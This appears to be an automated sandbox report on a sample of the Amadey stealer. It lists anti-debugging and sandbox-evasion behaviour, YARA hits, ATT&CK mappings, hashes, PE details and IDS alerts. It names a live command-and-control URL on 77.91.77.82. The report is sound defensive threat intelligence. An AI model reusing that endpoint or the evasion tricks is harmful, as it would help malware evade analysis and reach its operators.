Source: explorti.exe, 00000001.00000003.2032399644.0000000000C66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorti.exe, 00000001.00000003.2032399644.0000000000C66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW}
Source: i52xoegJro.exe, 00000000.00000002.1694832663.0000000000D66000.00000040.00000001.01000000.00000003.sdmp, explorti.exe, 00000002.00000002.1742499286.0000000000476000.00000040.00000001.01000000.00000007.sdmp, explorti.exe, 00000006.00000002.2283434082.0000000000476000.00000040.00000001.01000000.00000007.sdmp, explorti.exe, 00000008.00000002.2894275325.0000000000476000.00000040.00000001.01000000.00000007.sdmp, explorti.exe, 00000009.00000002.3488814220.0000000000476000.00000040.00000001.01000000.00000007.sdmp, explorti.exe, 0000000A.00000002.4086023159.0000000000476000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\i52xoegJro.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\i52xoegJro.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\i52xoegJro.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\i52xoegJro.exe

Code function: 0_2_04DC02AF Start: 04DC0341 End: 04DC02CB

0_2_04DC02AF

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\i52xoegJro.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\i52xoegJro.exe

Code function: 0_2_04DC0C6B rdtsc

0_2_04DC0C6B

Source: C:\Users\user\Desktop\i52xoegJro.exe

Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"

Jump to behavior

Source: explorti.exe, explorti.exe, 0000000A.00000002.4086023159.0000000000476000.00000040.00000001.01000000.00000007.sdmp

Binary or memory string: tProgram Manager

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Queries volume information: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe VolumeInformation

Jump to behavior

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.i52xoegJro.exe.b70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.explorti.exe.280000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.explorti.exe.280000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.explorti.exe.280000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.explorti.exe.280000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.explorti.exe.280000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000003.3448418694.0000000004A50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3488668703.0000000000281000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1702084308.0000000004A50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.4045102484.0000000004A50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1742394004.0000000000281000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1653348307.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2894138512.0000000000281000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2283345271.0000000000281000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1693833742.0000000004A70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2242898473.0000000004A50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4085592750.0000000000281000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1694752041.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2853946702.0000000004A50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	12 Process Injection	1 Masquerading	OS Credential Dumping	741 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	251 Virtualization/Sandbox Evasion	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	Data from Removable Media	11 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	251 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	213 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
i52xoegJro.exe	74%	ReversingLabs	Win32.Trojan.Generic
i52xoegJro.exe	100%	Avira	TR/Crypt.TPM.Gen
i52xoegJro.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	74%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
http://77.91.77.82/Hun4Ko/index.php	100%	URL Reputation	phishing
http://77.91.77.82/Hun4Ko/index.php2	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpt	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://77.91.77.82/Hun4Ko/index.php	true	URL Reputation: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://77.91.77.82/Hun4Ko/index.phpt	explorti.exe, 00000001.00000003.2032399644.0000000000C53000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php2	explorti.exe, 00000001.00000003.2032399644.0000000000C53000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
77.91.77.82	unknown	Russian Federation		42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1488097
Start date and time:	2024-08-05 16:17:13 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	i52xoegJro.exe renamed because original name is a hash value
Original Sample Name:	7e88a7c92acd7c028befff6e42c7a631fa369f2f436322241e682771cbc26f5d.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@8/3@0/1
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target explorti.exe, PID 3412 because there are no executed function
Execution Graph export aborted for target explorti.exe, PID 3896 because there are no executed function
Execution Graph export aborted for target explorti.exe, PID 7196 because there are no executed function
Execution Graph export aborted for target explorti.exe, PID 7780 because there are no executed function
Execution Graph export aborted for target explorti.exe, PID 8164 because there are no executed function
Execution Graph export aborted for target i52xoegJro.exe, PID 7096 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: i52xoegJro.exe

Simulations

Behavior and APIs

Time	Type	Description
10:18:07	API Interceptor	11041324x Sleep call for process: explorti.exe modified
15:18:05	Task Scheduler	Run new task: explorti path: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
77.91.77.82	Jl5yg1Km2s.exe	Get hash	malicious	Amadey	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	Nin6JE44ky.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Babadeda, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	Jl5yg1Km2s.exe	Get hash	malicious	Amadey	Browse	77.91.77.82
	file.exe	Get hash	malicious	Vidar	Browse	77.91.101.71
	IRqsWvBBMc.exe	Get hash	malicious	Amadey, Vidar	Browse	77.91.101.71
	file.exe	Get hash	malicious	Vidar	Browse	77.91.101.71
	Bootstrapper.exe	Get hash	malicious	Hancitor, Vidar	Browse	77.91.101.71
	Setup .exe	Get hash	malicious	Go Injector, MicroClip, Vidar, Xmrig	Browse	77.91.101.71
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	77.91.77.82
	Nin6JE44ky.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	77.91.77.82
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	77.91.77.82
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse	77.91.77.82

Process:	C:\Users\user\Desktop\i52xoegJro.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1894400
Entropy (8bit):	7.950057460199737
Encrypted:	false
SSDEEP:	49152:ZPeOIAakCLDT4XA11+nebMv0l9AVxOlYi:Z2O03T4XAb+ebqVxMH
MD5:	E566D019241ADDF080EA9DFEA9606E31
SHA1:	FF4356991BBB88B4DDFC94D733002FB630FF92C2
SHA-256:	7E88A7C92ACD7C028BEFFF6E42C7A631FA369F2F436322241E682771CBC26F5D
SHA-512:	38C300B145D0E716CCD429C6154F88B2D9E326E35EBBCC60F3F40FFC4D2C9B03E358C177DC52FFA11DC12DC93B3EBD3F64889AF33B153E9E0B5072F9DA72158D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af.............................@K...........@..........................pK...........@.................................X...l............................,K.............................t,K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...mgjaevfh.....`1.....................@...tngkxhft.....0K.....................@....taggant.0...@K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\i52xoegJro.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Tasks\explorti.job

Download File

Process:	C:\Users\user\Desktop\i52xoegJro.exe
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.4454906750145553
Encrypted:	false
SSDEEP:	6:H8lcX4RKUEZ+lX1QYShMl6lm6tPjgsW2YRZuy0ln/dlEt0:f4RKQ13vg7jzvYRQVn/nEt0
MD5:	78EF1FC866A173C5844E559A933D78C1
SHA1:	945E0ABDBABA541CBE992965337104E2D798144A
SHA-256:	C21B2C285BA09785A956FE0625080A250287AE25D6FD9723ABD8529622228376
SHA-512:	192134933F8D4E482E5478F2006FC9686F09A7D6EA06498AE97DD0C99DA41D9C894437B60FDB703054C31C7E553A78A27BA7B4D67222E9C4666ECB5A4AD8A677
Malicious:	false
Reputation:	low
Preview:	....Y..'..)@.Y.....F.......<... .....s.......... ....................:.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.d.4.0.9.7.1.b.6.b.\.e.x.p.l.o.r.t.i...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.950057460199737
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	i52xoegJro.exe
File size:	1'894'400 bytes
MD5:	e566d019241addf080ea9dfea9606e31
SHA1:	ff4356991bbb88b4ddfc94d733002fb630ff92c2
SHA256:	7e88a7c92acd7c028befff6e42c7a631fa369f2f436322241e682771cbc26f5d
SHA512:	38c300b145d0e716ccd429c6154f88b2d9e326e35ebbcc60f3f40ffc4d2c9b03e358c177dc52ffa11dc12dc93b3ebd3f64889af33b153e9e0b5072f9da72158d
SSDEEP:	49152:ZPeOIAakCLDT4XA11+nebMv0l9AVxOlYi:Z2O03T4XAb+ebqVxMH
TLSH:	E79533232E2278EFE98D1931883F13AAB3FCD755D467DED01B15703A5C2242779AB560
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8b4000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6661EA84 [Thu Jun 6 16:57:40 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F9C64C11AEAh
shufps xmm3, dqword ptr [eax+eax], 00h
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a058	0x6c	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4b2cc4	0x10	mgjaevfh
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4b2c74	0x18	mgjaevfh
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2dc00	b1c7a6687ef50bf6ee5db4f2ae150e9a	False	0.9983617230191257	data	7.985427988547485	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	738d86afd1259803e12b68734c89732f	False	0.578125	data	4.544167646508171	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	6e66ae8f9a75bc604a087c954abf8737	False	0.15234375	data	1.0684380430289213	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2ab000	0x200	430a225bd10a5e9645a0c4e08e61d0d7	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mgjaevfh	0x316000	0x19d000	0x19d000	a4792c3dacc47cb60f7a4044be513053	False	0.9944356036243946	data	7.953546308533248	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
tngkxhft	0x4b3000	0x1000	0x400	cfd9890e29a03ef3bd9c7070cc411812	False	0.669921875	data	5.395663576131922	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4b4000	0x3000	0x2200	cbb7495334ed8963afeefafb309818d8	False	0.06318933823529412	DOS executable (COM)	0.747403001178815	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4b2cd4	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-08-05T16:18:37.227572+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49742	80	192.168.2.4	77.91.77.82
2024-08-05T16:18:29.092953+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49740	80	192.168.2.4	77.91.77.82
2024-08-05T16:20:22.009119+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49757	80	192.168.2.4	77.91.77.82
2024-08-05T16:18:12.822238+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49730	80	192.168.2.4	77.91.77.82

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 5, 2024 16:18:08.800549984 CEST	49730	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:08.835596085 CEST	80	49730	77.91.77.82	192.168.2.4
Aug 5, 2024 16:18:08.835684061 CEST	49730	80	192.168.2.4	77.91.77.82
Aug 5, 2024 16:18:08.835903883 CEST	49730	80	192.168.2.4	77.91.77.82
